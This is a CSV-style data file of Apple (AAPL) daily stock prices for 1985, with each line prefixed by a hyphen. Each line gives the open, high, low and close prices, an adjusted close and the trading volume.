-1985-01-11,0.5357142686843872,0.5401785969734192,0.5267857313156128,0.53125,0.4219294488430023,51262400.0,AAPL
-1985-01-14,0.546875,0.5513392686843872,0.546875,0.546875,0.43433907628059387,67608800.0,AAPL
-1985-01-15,0.546875,0.5558035969734192,0.5357142686843872,0.5357142686843872,0.4254750907421112,66242400.0,AAPL
-1985-01-16,0.5401785969734192,0.5491071343421936,0.5401785969734192,0.5401785969734192,0.42902064323425293,47471200.0,AAPL
-1985-01-17,0.5401785969734192,0.5491071343421936,0.5022321343421936,0.5022321343421936,0.3988828659057617,136880800.0,AAPL
-1985-01-18,0.5022321343421936,0.5223214030265808,0.5,0.5111607313156128,0.40597423911094666,88166400.0,AAPL
-1985-01-21,0.5223214030265808,0.5267857313156128,0.5223214030265808,0.5223214030265808,0.4148382544517517,81356800.0,AAPL
-1985-01-22,0.5379464030265808,0.5401785969734192,0.5379464030265808,0.5379464030265808,0.4272479712963104,106209600.0,AAPL
-1985-01-23,0.5379464030265808,0.5401785969734192,0.5290178656578064,0.5290178656578064,0.4201566278934479,107626400.0,AAPL
-1985-01-24,0.5290178656578064,0.5290178656578064,0.5178571343421936,0.5178571343421936,0.4112926721572876,99265600.0,AAPL
-1985-01-25,0.5178571343421936,0.5290178656578064,0.5066964030265808,0.5290178656578064,0.4201566278934479,79615200.0,AAPL
-1985-01-28,0.5401785969734192,0.546875,0.5401785969734192,0.5401785969734192,0.42902064323425293,103045600.0,AAPL
-1985-01-29,0.5401785969734192,0.5446428656578064,0.5334821343421936,0.5334821343421936,0.42370226979255676,55932800.0,AAPL
-1985-01-30,0.5334821343421936,0.5446428656578064,0.5334821343421936,0.5334821343421936,0.42370226979255676,123110400.0,AAPL
-1985-01-31,0.5334821343421936,0.5357142686843872,0.5178571343421936,0.5178571343421936,0.4112926721572876,69059200.0,AAPL
-1985-02-01,0.5178571343421936,0.5200892686843872,0.5066964030265808,0.5111607313156128,0.40597423911094666,34434400.0,AAPL
-1985-02-04,0.5223214030265808,0.5245535969734192,0.5223214030265808,0.5223214030265808,0.4148382544517517,54504800.0,AAPL
-1985-02-05,0.5267857313156128,0.5357142686843872,0.5267857313156128,0.5267857313156128,0.41838377714157104,47510400.0,AAPL
-1985-02-06,0.5357142686843872,0.5357142686843872,0.5357142686843872,0.5357142686843872,0.4254750907421112,48608000.0,AAPL
-1985-02-07,0.5357142686843872,0.5424107313156128,0.5334821343421936,0.5334821343421936,0.42370226979255676,61370400.0,AAPL
-1985-02-08,0.5334821343421936,0.5357142686843872,0.5267857313156128,0.5334821343421936,0.42370226979255676,33006400.0,AAPL
-1985-02-11,0.5446428656578064,0.5491071343421936,0.5446428656578064,0.5446428656578064,0.4325663149356842,86738400.0,AAPL
-1985-02-12,0.5446428656578064,0.546875,0.53125,0.53125,0.4219294488430023,56627200.0,AAPL
-1985-02-13,0.53125,0.53125,0.5066964030265808,0.5066964030265808,0.402428537607193,131756800.0,AAPL
-1985-02-14,0.5066964030265808,0.5111607313156128,0.4933035671710968,0.4933035671710968,0.39179161190986633,106708000.0,AAPL
-1985-02-15,0.4933035671710968,0.5022321343421936,0.4888392984867096,0.5,0.39711010456085205,43405600.0,AAPL
-1985-02-19,0.4977678656578064,0.4977678656578064,0.4933035671710968,0.4933035671710968,0.39179161190986633,37458400.0,AAPL
-1985-02-20,0.4933035671710968,0.4955357015132904,0.4709821343421936,0.4709821343421936,0.37406352162361145,54992000.0,AAPL
-1985-02-21,0.4799107015132904,0.4821428656578064,0.4799107015132904,0.4799107015132904,0.3811548054218292,77056000.0,AAPL
-1985-02-22,0.4799107015132904,0.4977678656578064,0.4799107015132904,0.4933035671710968,0.39179161190986633,56632800.0,AAPL
-1985-02-25,0.4933035671710968,0.4955357015132904,0.4866071343421936,0.4866071343421936,0.3864732086658478,24634400.0,AAPL
-1985-02-26,0.4866071343421936,0.4888392984867096,0.4776785671710968,0.4776785671710968,0.37938192486763,47241600.0,AAPL
-1985-02-27,0.4776785671710968,0.4776785671710968,0.4486607015132904,0.4486607015132904,0.35633549094200134,100895200.0,AAPL
-1985-02-28,0.4486607015132904,0.4486607015132904,0.4419642984867096,0.4419642984867096,0.35101693868637085,79766400.0,AAPL
-1985-03-01,0.4419642984867096,0.4441964328289032,0.4285714328289032,0.4441964328289032,0.3527897894382477,61857600.0,AAPL
-1985-03-04,0.4508928656578064,0.4642857015132904,0.4508928656578064,0.4508928656578064,0.3581082224845886,38276000.0,AAPL
-1985-03-05,0.4620535671710968,0.4620535671710968,0.4620535671710968,0.4620535671710968,0.3669722080230713,32692800.0,AAPL
-1985-03-06,0.4620535671710968,0.4620535671710968,0.4397321343421936,0.4397321343421936,0.34924399852752686,48400800.0,AAPL
-1985-03-07,0.4397321343421936,0.4419642984867096,0.3950892984867096,0.3950892984867096,0.31378787755966187,183495200.0,AAPL
-1985-03-08,0.3950892984867096,0.3950892984867096,0.3705357015132904,0.3839285671710968,0.3049238324165344,118389600.0,AAPL
-1985-03-11,0.3973214328289032,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,71500800.0,AAPL
-1985-03-12,0.4107142984867096,0.4151785671710968,0.4107142984867096,0.4107142984867096,0.3261975944042206,54857600.0,AAPL
-1985-03-13,0.4107142984867096,0.4107142984867096,0.3883928656578064,0.3883928656578064,0.3084695041179657,62781600.0,AAPL
-1985-03-14,0.3883928656578064,0.390625,0.3883928656578064,0.3883928656578064,0.3084695041179657,60401600.0,AAPL
-1985-03-15,0.3883928656578064,0.4129464328289032,0.3861607015132904,0.4040178656578064,0.32087913155555725,45354400.0,AAPL
-1985-03-18,0.4084821343421936,0.4129464328289032,0.4084821343421936,0.4084821343421936,0.32442471385002136,31192000.0,AAPL
-1985-03-19,0.4084821343421936,0.4129464328289032,0.3928571343421936,0.3928571343421936,0.3120151162147522,42862400.0,AAPL
-1985-03-20,0.3973214328289032,0.4040178656578064,0.3973214328289032,0.3973214328289032,0.3155606985092163,101242400.0,AAPL
-1985-03-21,0.4040178656578064,0.4107142984867096,0.4040178656578064,0.4040178656578064,0.32087913155555725,40616800.0,AAPL
-1985-03-22,0.4040178656578064,0.4107142984867096,0.3973214328289032,0.3973214328289032,0.3155606985092163,20092800.0,AAPL
-1985-03-25,0.3973214328289032,0.3973214328289032,0.3861607015132904,0.3861607015132904,0.3066966235637665,27490400.0,AAPL
-1985-03-26,0.4017857015132904,0.4017857015132904,0.4017857015132904,0.4017857015132904,0.3191063106060028,30357600.0,AAPL
-1985-03-27,0.4017857015132904,0.40625,0.390625,0.390625,0.31024226546287537,27837600.0,AAPL
-1985-03-28,0.390625,0.3973214328289032,0.390625,0.390625,0.31024226546287537,32401600.0,AAPL
-1985-03-29,0.390625,0.3973214328289032,0.390625,0.3950892984867096,0.31378787755966187,21795200.0,AAPL
-1985-04-01,0.3950892984867096,0.4040178656578064,0.3861607015132904,0.3861607015132904,0.3066966235637665,28515200.0,AAPL
-1985-04-02,0.3861607015132904,0.3883928656578064,0.375,0.375,0.2978326678276062,56856800.0,AAPL
-1985-04-03,0.375,0.3772321343421936,0.375,0.375,0.2978326678276062,60664800.0,AAPL
-1985-04-04,0.375,0.3772321343421936,0.3683035671710968,0.3727678656578064,0.2960597574710846,40465600.0,AAPL
-1985-04-08,0.3727678656578064,0.375,0.3504464328289032,0.3504464328289032,0.2783316671848297,49683200.0,AAPL
-1985-04-09,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,65973600.0,AAPL
-1985-04-10,0.375,0.3794642984867096,0.375,0.375,0.2978326678276062,56728000.0,AAPL
-1985-04-11,0.3816964328289032,0.3928571343421936,0.3816964328289032,0.3816964328289032,0.30315104126930237,36668800.0,AAPL
-1985-04-12,0.3816964328289032,0.3816964328289032,0.3705357015132904,0.3727678656578064,0.2960597574710846,18132800.0,AAPL
-1985-04-15,0.3816964328289032,0.3861607015132904,0.3816964328289032,0.3816964328289032,0.30315104126930237,14957600.0,AAPL
-1985-04-16,0.3861607015132904,0.3883928656578064,0.3861607015132904,0.3861607015132904,0.3066966235637665,16912000.0,AAPL
-1985-04-17,0.4040178656578064,0.4084821343421936,0.4040178656578064,0.4040178656578064,0.32087913155555725,30811200.0,AAPL
-1985-04-18,0.4084821343421936,0.4107142984867096,0.4084821343421936,0.4084821343421936,0.32442471385002136,50607200.0,AAPL
-1985-04-19,0.4084821343421936,0.4084821343421936,0.3995535671710968,0.4017857015132904,0.3191063106060028,24007200.0,AAPL
-1985-04-22,0.4017857015132904,0.4017857015132904,0.3861607015132904,0.3861607015132904,0.3066966235637665,25648000.0,AAPL
-1985-04-23,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.31378787755966187,29573600.0,AAPL
-1985-04-24,0.3950892984867096,0.4017857015132904,0.3928571343421936,0.3928571343421936,0.3120151162147522,19734400.0,AAPL
-1985-04-25,0.3928571343421936,0.3950892984867096,0.3928571343421936,0.3928571343421936,0.3120151162147522,21907200.0,AAPL
-1985-04-26,0.3928571343421936,0.4040178656578064,0.390625,0.390625,0.31024226546287537,29926400.0,AAPL
-1985-04-29,0.390625,0.3928571343421936,0.3772321343421936,0.3772321343421936,0.2996053695678711,15551200.0,AAPL
-1985-04-30,0.3794642984867096,0.3816964328289032,0.3794642984867096,0.3794642984867096,0.3013782501220703,23682400.0,AAPL
-1985-05-01,0.3794642984867096,0.3816964328289032,0.3727678656578064,0.3727678656578064,0.2960597574710846,14336000.0,AAPL
-1985-05-02,0.3683035671710968,0.3683035671710968,0.34375,0.34375,0.2730131149291992,82443200.0,AAPL
-1985-05-03,0.34375,0.359375,0.34375,0.3571428656578064,0.28365007042884827,39530400.0,AAPL
-1985-05-06,0.3571428656578064,0.3616071343421936,0.3526785671710968,0.3526785671710968,0.2801044285297394,14033600.0,AAPL
-1985-05-07,0.3571428656578064,0.3571428656578064,0.3571428656578064,0.3571428656578064,0.28365007042884827,26902400.0,AAPL
-1985-05-08,0.3549107015132904,0.3549107015132904,0.3549107015132904,0.3549107015132904,0.2818772792816162,36097600.0,AAPL
-1985-05-09,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,31768800.0,AAPL
-1985-05-10,0.3571428656578064,0.3660714328289032,0.3571428656578064,0.3616071343421936,0.2871958017349243,34020000.0,AAPL
-1985-05-13,0.3616071343421936,0.3638392984867096,0.3571428656578064,0.3571428656578064,0.28365007042884827,21806400.0,AAPL
-1985-05-14,0.3571428656578064,0.359375,0.3526785671710968,0.3526785671710968,0.2801044285297394,30436000.0,AAPL
-1985-05-15,0.3571428656578064,0.3638392984867096,0.3571428656578064,0.3571428656578064,0.28365007042884827,32608800.0,AAPL
-1985-05-16,0.3816964328289032,0.3928571343421936,0.3816964328289032,0.3816964328289032,0.30315104126930237,57635200.0,AAPL
-1985-05-17,0.3816964328289032,0.3950892984867096,0.3794642984867096,0.3883928656578064,0.3084695041179657,52964800.0,AAPL
-1985-05-20,0.3883928656578064,0.3973214328289032,0.3816964328289032,0.3816964328289032,0.30315104126930237,49296800.0,AAPL
-1985-05-21,0.3794642984867096,0.3794642984867096,0.3705357015132904,0.3705357015132904,0.29428690671920776,38136000.0,AAPL
-1985-05-22,0.3705357015132904,0.3727678656578064,0.3683035671710968,0.3683035671710968,0.29251402616500854,30139200.0,AAPL
-1985-05-23,0.3660714328289032,0.3660714328289032,0.3526785671710968,0.3526785671710968,0.2801044285297394,59791200.0,AAPL
-1985-05-24,0.3526785671710968,0.3526785671710968,0.3236607015132904,0.3236607015132904,0.25705787539482117,147369600.0,AAPL
-1985-05-28,0.3191964328289032,0.3191964328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,127741600.0,AAPL
-1985-05-29,0.3058035671710968,0.3080357015132904,0.3058035671710968,0.3058035671710968,0.24287545680999756,61639200.0,AAPL
-1985-05-30,0.3147321343421936,0.3191964328289032,0.3147321343421936,0.3147321343421936,0.249966561794281,78730400.0,AAPL
-1985-05-31,0.3147321343421936,0.3214285671710968,0.3102678656578064,0.3102678656578064,0.2464209944009781,92355200.0,AAPL
-1985-06-03,0.3035714328289032,0.3035714328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,144004000.0,AAPL
-1985-06-04,0.3080357015132904,0.3102678656578064,0.3080357015132904,0.3080357015132904,0.24464817345142365,100480800.0,AAPL
-1985-06-05,0.3080357015132904,0.3169642984867096,0.3013392984867096,0.3013392984867096,0.23932971060276031,71601600.0,AAPL
-1985-06-06,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.24110259115695953,67799200.0,AAPL
-1985-06-07,0.3035714328289032,0.3035714328289032,0.2924107015132904,0.2924107015132904,0.23223842680454254,118809600.0,AAPL
-1985-06-10,0.2924107015132904,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.22869282960891724,79032800.0,AAPL
-1985-06-11,0.2879464328289032,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.22869282960891724,75180000.0,AAPL
-1985-06-12,0.2879464328289032,0.2901785671710968,0.28125,0.28125,0.2233743518590927,61997600.0,AAPL
-1985-06-13,0.28125,0.2834821343421936,0.265625,0.265625,0.21096472442150116,94880800.0,AAPL
-1985-06-14,0.265625,0.28125,0.2633928656578064,0.2633928656578064,0.20919188857078552,141416800.0,AAPL
-1985-06-17,0.265625,0.2678571343421936,0.265625,0.265625,0.21096472442150116,59085600.0,AAPL
-1985-06-18,0.2723214328289032,0.2767857015132904,0.2723214328289032,0.2723214328289032,0.2162831574678421,66304000.0,AAPL
-1985-06-19,0.2790178656578064,0.2834821343421936,0.2790178656578064,0.2790178656578064,0.22160156071186066,42996800.0,AAPL
-1985-06-20,0.28125,0.28125,0.28125,0.28125,0.2233743518590927,47700800.0,AAPL
-1985-06-21,0.2879464328289032,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.22869282960891724,41535200.0,AAPL
-1985-06-24,0.3080357015132904,0.3125,0.3080357015132904,0.3080357015132904,0.24464817345142365,51441600.0,AAPL
-1985-06-25,0.3125,0.3191964328289032,0.3125,0.3125,0.24819375574588776,73477600.0,AAPL
-1985-06-26,0.3236607015132904,0.3236607015132904,0.3236607015132904,0.3236607015132904,0.25705787539482117,33051200.0,AAPL
-1985-06-27,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,48115200.0,AAPL
-1985-06-28,0.328125,0.3303571343421936,0.3214285671710968,0.3214285671710968,0.25528502464294434,33936000.0,AAPL
-1985-07-01,0.3236607015132904,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,25860800.0,AAPL
-1985-07-02,0.3236607015132904,0.3258928656578064,0.3080357015132904,0.3080357015132904,0.24464817345142365,19432000.0,AAPL
-1985-07-03,0.3125,0.3125,0.3125,0.3125,0.24819375574588776,17124800.0,AAPL
-1985-07-05,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,9144800.0,AAPL
-1985-07-08,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,23055200.0,AAPL
-1985-07-09,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,36976800.0,AAPL
-1985-07-10,0.3214285671710968,0.3214285671710968,0.3214285671710968,0.3214285671710968,0.25528502464294434,26510400.0,AAPL
-1985-07-11,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,16223200.0,AAPL
-1985-07-12,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,11760000.0,AAPL
-1985-07-15,0.3191964328289032,0.3258928656578064,0.3169642984867096,0.3169642984867096,0.251739501953125,19420800.0,AAPL
-1985-07-16,0.3169642984867096,0.3191964328289032,0.3125,0.3125,0.24819375574588776,35840000.0,AAPL
-1985-07-17,0.3147321343421936,0.3191964328289032,0.3147321343421936,0.3147321343421936,0.249966561794281,29545600.0,AAPL
-1985-07-18,0.3147321343421936,0.3147321343421936,0.3080357015132904,0.3080357015132904,0.24464817345142365,44766400.0,AAPL
-1985-07-19,0.3102678656578064,0.3102678656578064,0.3102678656578064,0.3102678656578064,0.2464209944009781,28728000.0,AAPL
-1985-07-22,0.3102678656578064,0.3102678656578064,0.3013392984867096,0.3013392984867096,0.23932971060276031,48076000.0,AAPL
-1985-07-23,0.3013392984867096,0.3058035671710968,0.2946428656578064,0.2946428656578064,0.23401138186454773,42173600.0,AAPL
-1985-07-24,0.2946428656578064,0.2991071343421936,0.2901785671710968,0.2901785671710968,0.2304656058549881,42179200.0,AAPL
-1985-07-25,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,78769600.0,AAPL
-1985-07-26,0.296875,0.2991071343421936,0.296875,0.296875,0.23578399419784546,32631200.0,AAPL
-1985-07-29,0.296875,0.296875,0.2857142984867096,0.2857142984867096,0.226920023560524,19437600.0,AAPL
-1985-07-30,0.2901785671710968,0.2924107015132904,0.2901785671710968,0.2901785671710968,0.2304656058549881,22366400.0,AAPL
-1985-07-31,0.2901785671710968,0.2924107015132904,0.2834821343421936,0.2834821343421936,0.22514720261096954,20126400.0,AAPL
-1985-08-01,0.2834821343421936,0.2879464328289032,0.2834821343421936,0.2834821343421936,0.22514720261096954,12891200.0,AAPL
-1985-08-02,0.2834821343421936,0.2834821343421936,0.28125,0.28125,0.2233743518590927,24354400.0,AAPL
-1985-08-05,0.28125,0.2834821343421936,0.2745535671710968,0.2745535671710968,0.21805597841739655,23083200.0,AAPL
-1985-08-06,0.2745535671710968,0.28125,0.2723214328289032,0.2723214328289032,0.2162831574678421,15769600.0,AAPL
-1985-08-07,0.2723214328289032,0.2857142984867096,0.265625,0.265625,0.21096472442150116,37934400.0,AAPL
-1985-08-08,0.2700892984867096,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21451032161712646,36943200.0,AAPL
-1985-08-09,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,15237600.0,AAPL
-1985-08-12,0.2723214328289032,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,13748000.0,AAPL
-1985-08-13,0.2723214328289032,0.2767857015132904,0.2723214328289032,0.2723214328289032,0.2162831574678421,10595200.0,AAPL
-1985-08-14,0.2723214328289032,0.2723214328289032,0.2611607015132904,0.2611607015132904,0.20741912722587585,72475200.0,AAPL
-1985-08-15,0.2611607015132904,0.2633928656578064,0.2589285671710968,0.2589285671710968,0.2056463360786438,26297600.0,AAPL
-1985-08-16,0.2611607015132904,0.265625,0.2611607015132904,0.2611607015132904,0.20741912722587585,20938400.0,AAPL
-1985-08-19,0.2678571343421936,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,11967200.0,AAPL
-1985-08-20,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,16738400.0,AAPL
-1985-08-21,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,19252800.0,AAPL
-1985-08-22,0.2723214328289032,0.2723214328289032,0.265625,0.265625,0.21096472442150116,30828000.0,AAPL
-1985-08-23,0.265625,0.2678571343421936,0.2633928656578064,0.2633928656578064,0.20919188857078552,11004000.0,AAPL
-1985-08-26,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.21451032161712646,8915200.0,AAPL
-1985-08-27,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,10729600.0,AAPL
-1985-08-28,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,10236800.0,AAPL
-1985-08-29,0.2723214328289032,0.2723214328289032,0.265625,0.265625,0.21096472442150116,14028000.0,AAPL
-1985-08-30,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2127375453710556,10718400.0,AAPL
-1985-09-03,0.2678571343421936,0.2678571343421936,0.2633928656578064,0.2633928656578064,0.20919188857078552,9363200.0,AAPL
-1985-09-04,0.265625,0.2700892984867096,0.265625,0.265625,0.21096472442150116,11888800.0,AAPL
-1985-09-05,0.265625,0.2678571343421936,0.265625,0.265625,0.21096472442150116,8204000.0,AAPL
-1985-09-06,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2678571343421936,0.2127375453710556,23200800.0,AAPL
-1985-09-09,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.2162831574678421,33079200.0,AAPL
-1985-09-10,0.2745535671710968,0.2790178656578064,0.2745535671710968,0.2745535671710968,0.21805597841739655,30441600.0,AAPL
-1985-09-11,0.2767857015132904,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.21982868015766144,21772800.0,AAPL
-1985-09-12,0.2879464328289032,0.2879464328289032,0.2879464328289032,0.2879464328289032,0.22869282960891724,27792800.0,AAPL
-1985-09-13,0.2879464328289032,0.2879464328289032,0.28125,0.28125,0.2233743518590927,17634400.0,AAPL
-1985-09-16,0.28125,0.28125,0.2723214328289032,0.2723214328289032,0.2162831574678421,9245600.0,AAPL
-1985-09-17,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2723214328289032,0.2162831574678421,45936800.0,AAPL
-1985-09-18,0.2901785671710968,0.2901785671710968,0.2901785671710968,0.2901785671710968,0.2304656058549881,30021600.0,AAPL
-1985-09-19,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.24110259115695953,46580800.0,AAPL
-1985-09-20,0.3035714328289032,0.3058035671710968,0.2991071343421936,0.2991071343421936,0.23755685985088348,33807200.0,AAPL
-1985-09-23,0.3013392984867096,0.3058035671710968,0.3013392984867096,0.3013392984867096,0.23932971060276031,29646400.0,AAPL
-1985-09-24,0.3013392984867096,0.3080357015132904,0.2946428656578064,0.2946428656578064,0.23401138186454773,22024800.0,AAPL
-1985-09-25,0.2946428656578064,0.2946428656578064,0.2834821343421936,0.2834821343421936,0.22514720261096954,26124000.0,AAPL
-1985-09-26,0.2834821343421936,0.2857142984867096,0.2834821343421936,0.2834821343421936,0.22514720261096954,13372800.0,AAPL
-1985-09-30,0.2834821343421936,0.2857142984867096,0.28125,0.28125,0.2233743518590927,9161600.0,AAPL
-1985-10-01,0.28125,0.2834821343421936,0.28125,0.28125,0.2233743518590927,22086400.0,AAPL
-1985-10-02,0.28125,0.2834821343421936,0.2790178656578064,0.2790178656578064,0.22160156071186066,5376000.0,AAPL
-1985-10-03,0.2790178656578064,0.2790178656578064,0.2767857015132904,0.2767857015132904,0.21982868015766144,12230400.0,AAPL
-1985-10-04,0.2767857015132904,0.2767857015132904,0.2678571343421936,0.2678571343421936,0.2127375453710556,17382400.0,AAPL
-1985-10-07,0.2678571343421936,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,22982400.0,AAPL
-1985-10-08,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.2700892984867096,0.21451032161712646,21744800.0,AAPL
-1985-10-09,0.2700892984867096,0.2723214328289032,0.2678571343421936,0.2678571343421936,0.2127375453710556,20703200.0,AAPL
-1985-10-10,0.2834821343421936,0.2857142984867096,0.2834821343421936,0.2834821343421936,0.22514720261096954,65436000.0,AAPL
-1985-10-11,0.2857142984867096,0.2901785671710968,0.2857142984867096,0.2857142984867096,0.226920023560524,29573600.0,AAPL
-1985-10-14,0.296875,0.296875,0.296875,0.296875,0.23578399419784546,38796800.0,AAPL
-1985-10-15,0.3035714328289032,0.3058035671710968,0.3035714328289032,0.3035714328289032,0.24110259115695953,73472000.0,AAPL
-1985-10-16,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,72111200.0,AAPL
-1985-10-17,0.3258928656578064,0.3415178656578064,0.3258928656578064,0.3258928656578064,0.2588306963443756,87046400.0,AAPL
-1985-10-18,0.3258928656578064,0.328125,0.3169642984867096,0.3169642984867096,0.251739501953125,57607200.0,AAPL
-1985-10-21,0.3169642984867096,0.3169642984867096,0.3080357015132904,0.3080357015132904,0.24464817345142365,29719200.0,AAPL
-1985-10-22,0.3214285671710968,0.3258928656578064,0.3214285671710968,0.3214285671710968,0.25528502464294434,106136800.0,AAPL
-1985-10-23,0.3214285671710968,0.3303571343421936,0.3214285671710968,0.3214285671710968,0.25528502464294434,37094400.0,AAPL
-1985-10-24,0.328125,0.3370535671710968,0.328125,0.328125,0.26060351729393005,68157600.0,AAPL
-1985-10-25,0.328125,0.328125,0.3214285671710968,0.3214285671710968,0.25528502464294434,15820000.0,AAPL
-1985-10-28,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,14868000.0,AAPL
-1985-10-29,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,32720800.0,AAPL
-1985-10-30,0.3392857015132904,0.3392857015132904,0.3392857015132904,0.3392857015132904,0.26946747303009033,56644000.0,AAPL
-1985-10-31,0.3392857015132904,0.34375,0.3325892984867096,0.3325892984867096,0.26414918899536133,38768800.0,AAPL
-1985-11-01,0.3325892984867096,0.3392857015132904,0.3325892984867096,0.3325892984867096,0.26414918899536133,23139200.0,AAPL
-1985-11-04,0.3348214328289032,0.3415178656578064,0.3348214328289032,0.3348214328289032,0.2659218907356262,38931200.0,AAPL
-1985-11-05,0.3348214328289032,0.3415178656578064,0.3325892984867096,0.3325892984867096,0.26414918899536133,26885600.0,AAPL
-1985-11-06,0.34375,0.3459821343421936,0.34375,0.34375,0.2730131149291992,50114400.0,AAPL
-1985-11-07,0.3504464328289032,0.3549107015132904,0.3504464328289032,0.3504464328289032,0.2783316671848297,79284800.0,AAPL
-1985-11-08,0.3660714328289032,0.3705357015132904,0.3660714328289032,0.3660714328289032,0.2907413840293884,73528000.0,AAPL
-1985-11-11,0.3660714328289032,0.3705357015132904,0.3571428656578064,0.3571428656578064,0.28365007042884827,44693600.0,AAPL
-1985-11-12,0.3571428656578064,0.3616071343421936,0.3549107015132904,0.3549107015132904,0.2818772792816162,43411200.0,AAPL
-1985-11-13,0.3549107015132904,0.3549107015132904,0.3459821343421936,0.3459821343421936,0.27478593587875366,25390400.0,AAPL
-1985-11-14,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,34876800.0,AAPL
-1985-11-15,0.3571428656578064,0.3616071343421936,0.3549107015132904,0.3549107015132904,0.2818772792816162,20395200.0,AAPL
-1985-11-18,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2818772792816162,16139200.0,AAPL
-1985-11-19,0.3549107015132904,0.3571428656578064,0.34375,0.34375,0.2730131149291992,23581600.0,AAPL
-1985-11-20,0.34375,0.3459821343421936,0.3392857015132904,0.3392857015132904,0.26946747303009033,24768800.0,AAPL
-1985-11-21,0.3392857015132904,0.34375,0.3392857015132904,0.3392857015132904,0.26946747303009033,25737600.0,AAPL
-1985-11-22,0.3392857015132904,0.34375,0.3370535671710968,0.3392857015132904,0.26946747303009033,32188800.0,AAPL
-1985-11-25,0.3392857015132904,0.34375,0.3392857015132904,0.3415178656578064,0.27124035358428955,24298400.0,AAPL
-1985-11-26,0.3415178656578064,0.3482142984867096,0.3392857015132904,0.3459821343421936,0.27478593587875366,41115200.0,AAPL
-1985-11-27,0.3459821343421936,0.359375,0.34375,0.3571428656578064,0.28365007042884827,47930400.0,AAPL
-1985-11-29,0.3571428656578064,0.359375,0.3549107015132904,0.359375,0.28542283177375793,24757600.0,AAPL
-1985-12-02,0.359375,0.3616071343421936,0.3571428656578064,0.3616071343421936,0.2871958017349243,25048800.0,AAPL
-1985-12-03,0.3616071343421936,0.3638392984867096,0.3571428656578064,0.359375,0.28542283177375793,38768800.0,AAPL
-1985-12-04,0.359375,0.3683035671710968,0.359375,0.3660714328289032,0.2907413840293884,41277600.0,AAPL
-1985-12-05,0.3660714328289032,0.3705357015132904,0.3571428656578064,0.359375,0.28542283177375793,31287200.0,AAPL
-1985-12-06,0.359375,0.359375,0.3504464328289032,0.3526785671710968,0.2801044285297394,16363200.0,AAPL
-1985-12-09,0.3526785671710968,0.3571428656578064,0.34375,0.3459821343421936,0.27478593587875366,34966400.0,AAPL
-1985-12-10,0.3459821343421936,0.3504464328289032,0.34375,0.3482142984867096,0.27655884623527527,50226400.0,AAPL
-1985-12-11,0.3482142984867096,0.359375,0.3482142984867096,0.3526785671710968,0.2801044285297394,59404800.0,AAPL
-1985-12-12,0.3549107015132904,0.3616071343421936,0.3549107015132904,0.3571428656578064,0.28365007042884827,31315200.0,AAPL
-1985-12-13,0.3571428656578064,0.3616071343421936,0.3526785671710968,0.3571428656578064,0.28365007042884827,62787200.0,AAPL
-1985-12-16,0.3571428656578064,0.3794642984867096,0.3571428656578064,0.3727678656578064,0.2960597574710846,72228800.0,AAPL
-1985-12-17,0.3727678656578064,0.375,0.3638392984867096,0.3683035671710968,0.29251402616500854,27266400.0,AAPL
-1985-12-18,0.3816964328289032,0.4084821343421936,0.3816964328289032,0.3973214328289032,0.3155606985092163,139949600.0,AAPL
-1985-12-19,0.3973214328289032,0.40625,0.3950892984867096,0.4017857015132904,0.3191063106060028,67530400.0,AAPL
-1985-12-20,0.4017857015132904,0.40625,0.3973214328289032,0.3995535671710968,0.31733348965644836,51508800.0,AAPL
-1985-12-23,0.3995535671710968,0.4017857015132904,0.3861607015132904,0.390625,0.31024226546287537,35806400.0,AAPL
-1985-12-24,0.390625,0.3928571343421936,0.3861607015132904,0.3883928656578064,0.3084695041179657,16150400.0,AAPL
-1985-12-26,0.3883928656578064,0.3928571343421936,0.3861607015132904,0.3883928656578064,0.3084695041179657,11463200.0,AAPL
-1985-12-27,0.3883928656578064,0.4040178656578064,0.3883928656578064,0.3995535671710968,0.31733348965644836,30721600.0,AAPL
